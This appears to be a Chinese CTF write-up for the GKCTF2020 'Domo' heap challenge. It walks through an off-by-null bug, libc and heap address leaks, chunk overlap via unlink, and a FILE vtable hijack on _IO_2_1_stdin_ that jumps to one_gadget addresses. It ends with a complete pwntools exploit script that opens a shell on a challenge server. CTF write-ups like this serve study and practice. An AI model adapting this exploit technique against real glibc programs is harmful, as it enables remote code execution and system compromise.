寒假训练 [GKCTF2020]Domo(4/250) 劫持vtable
这是一道非常典型的vtable了,整个getshell的利用手法几乎是我目前会的所有的技巧了,不过还是看了p1ay2win师傅的博客才会写的
流程分析
add函数填入大小和内容,并且有off-by-null,有off-by-null很容易想到overlap
edit函数,这个函数可以对任意位置进行读写一个值,但free_hook和malloc_hook都有检查,但我感觉还是可以修改别的,但我对linux的源码理解很差,所以无法想到别的
show函数
delete函数
思路
- 首先heap题几乎都是先泄露libc,直接通过add一个不属于fastbin的大小chunk,在申请回来,打印出来即可泄露libc地址
- 由于我们需要overlap,所以我们需要知道堆的地址,让fake chunk->fd->bk=fake chunk,fake chunk->bk->fd=fake chunk,这是unsorted bin中的检查,所以我们需要leak heap地址,这里我们直接用泄露libc的方法来泄露heap地址
- 泄露完libc后,就可以开始overlap了,首先分配两个chunk,第一个(fake chunk)加第二个chunk-0x10要属于unsorted bin中,第三chunk也要属于unsorted bin,然后通过向上合并,进行unlink,注意这里的fake chunk的fd和bk指针需要过保护
- overlap后,由于malloc_hook和free_hook不能修改,但我们还有puts函数,由于有relo保护,所以我们可以通过劫持vtable来进行getshell,由于_IO_2_1_stdin_指向的是一个_IO_FILE_plus结构体,所以我们需要找到他的vtable,并且修改其值为我们的fake vtable
- 由于我们overlap了,我们可以释放掉先前分配出来的第二个chunk,然后修改其fd指针为我们_IO_2_1_stdin_所指的结构体里面,在这里,可以分配到160-3的位置(有个0x7f),然后根据偏移修改vtable指针,64位的是0xd8
- 修改vtable为自己的fake vtable后,自己的fake vtable是个one_gadget即可
exp
from pwn import * #p=process('./domo') p=remote('node3.buuoj.cn',25095) #libc=ELF('../libc-2.23.so') libc=ELF('./libc.so.6') def add(size,content): p.sendlineafter('> ','1') p.sendlineafter('size:',str(size)) p.sendlineafter('content:',content) def delete(index): p.sendlineafter('> ','2') p.sendlineafter('index:',str(index)) def show(index): p.sendlineafter('> ','3') p.sendlineafter('index:\n',str(index)) return p.recv(6) def edit(addr,num): p.sendlineafter('> ','4') p.sendlineafter('addr:',str(addr)) p.sendlineafter('num:',num) #leak libc add(0x40,p64(0)+p64(0xb0))#0 add(0x60,'')#1 add(0xf0,'pppp')#2 add(0x10,'')#3 delete(2) add(0xf0,'')#2 libc.address=u64(show(2).ljust(8,b'\x00'))+(0x7ffff7bcdb78 - 0x7ffff7bcdb0a)-(0x7f3d7a680b78 - 0x7f3d7a2bc000) print('libc:'+hex(libc.address)) #leak heap add(0x10,'')#4 delete(3) delete(4) add(0x10,'')#3 heap=u64(show(3).ljust(8,b'\x00'))-0xa-0xf0 print('heap:'+hex(heap)) #overlap delete(0) add(0x40,p64(0)+p64(0xb1)+p64(heap+0x18)+p64(heap+0x20)+p64(heap+0x10))#0 delete(1) add(0x68,b'\x00'*0x60+p64(0xb0))#1 delete(2) #hook vtable _IO_file_jumps = libc.sym['_IO_file_jumps'] _IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_'] fake_chunk = _IO_2_1_stdin_ + 160 - 0x3 fake_vtable = heap + 0x210 one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] add(0xc0,'')#2 add(0x60,'')#4 delete(4) delete(1) delete(2) add(0xc0,b'p'*0x38+p64(0x71)+p64(fake_chunk))#1 add(0xa8,p64(0)+p64(0)+p64(libc.address + one_gadgets[2])*19) add(0x60,'')#2 add(0x63,b'\x00'*3+p64(0)+p64(0)+p64(0xffffffff)+p64(0)+p64(0)+p64(fake_vtable)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)) #delete() #gdb.attach(p) p.interactive()
不足
这道题技巧都会了,但自己写的时候还是很懵逼,比如泄露libc的时候,我一开始就想的是利用overlap来泄露libc,但我忘记了需要过保护,当然这次libc的泄露方法以前有这么想过,但很少有题目会这么直观的给你leak libc,所以不能光懂技巧,更要懂本质。
关于file的目前已经了解了一点了,其实这里我们也没必要改那么多成员为one_gadget,但我还是太菜了,没有逆过这些源码